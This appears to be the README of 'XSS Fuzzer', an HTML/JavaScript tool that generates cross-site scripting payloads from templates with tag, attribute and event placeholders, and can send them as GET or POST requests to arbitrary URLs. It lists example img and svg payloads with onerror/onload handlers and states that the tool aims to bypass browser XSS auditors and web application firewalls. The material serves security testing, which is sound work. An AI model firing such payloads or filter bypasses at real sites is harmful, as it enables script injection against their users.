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XSS Fuzzer

XSS Fuzzer is a simple application written in plain HTML/JavaScript/CSS which generates XSS payloads based on user-defined vectors using multiple placeholders which are replaced with fuzzing lists.

It offers the possibility to just generate the payloads as plain-text or to execute them inside an iframe. Inside iframes, it is possible to send GET or POST requests from the browser to arbitrary URLs using generated payloads.

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XSS Fuzzer Why?

XSS Fuzzer is a generic tool that can be useful for multiple purposes, including:

  • Finding new XSS vectors, for any browser
  • Testing XSS payloads on GET and POST parameters
  • Bypassing XSS Auditors in the browser
  • Bypassing web application firewalls
  • Exploiting HTML whitelist features

Example

In order to fuzz, it is required to create placeholders, for example:

  • The [TAG] placeholder with fuzzing list: img svg.
  • The [EVENT] placeholder with fuzzing list: onerror onload.
  • The [ATTR] placeholder with fuzzing list: src value.
  • The payloads will use the mentioned placeholders, such as:
<[TAG] [ATTR]=Something [EVENT]=[SAVE_PAYLOAD] />

The [SAVE_PAYLOAD] placeholder will be replaced with JavaScript code such as alert(unescape(‘[PAYLOAD]’));.

This code is triggered when an XSS payload is successfully executed.

The result for the mentioned fuzzing lists and payload will be the following:

<img src=Something onerror=alert(unescape('%3Cimg%20src%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img value=Something onerror=alert(unescape('%3Cimg%20value%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img src=Something onload=alert(unescape('%3Cimg%20src%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<img value=Something onload=alert(unescape('%3Cimg%20value%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg src=Something onerror=alert(unescape('%3Csvg%20src%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg value=Something onerror=alert(unescape('%3Csvg%20value%3DSomething%20onerror%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg src=Something onload=alert(unescape('%3Csvg%20src%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />
<svg value=Something onload=alert(unescape('%3Csvg%20value%3DSomething%20onload%3D%5BSAVE_PAYLOAD%5D%20/%3E')); />

When it is executed in a browser such as Mozilla Firefox, it will alert the executed payloads:

<svg src=Something onload=[SAVE_PAYLOAD] />
<svg value=Something onload=[SAVE_PAYLOAD] />
<img src=Something onerror=[SAVE_PAYLOAD] />

Sending requests

It is possible to use a page vulnerable to XSS for different tests, such as bypasses for the browser XSS Auditor. The page can receive a GET or POST parameter called payload and will just display its unescaped value.

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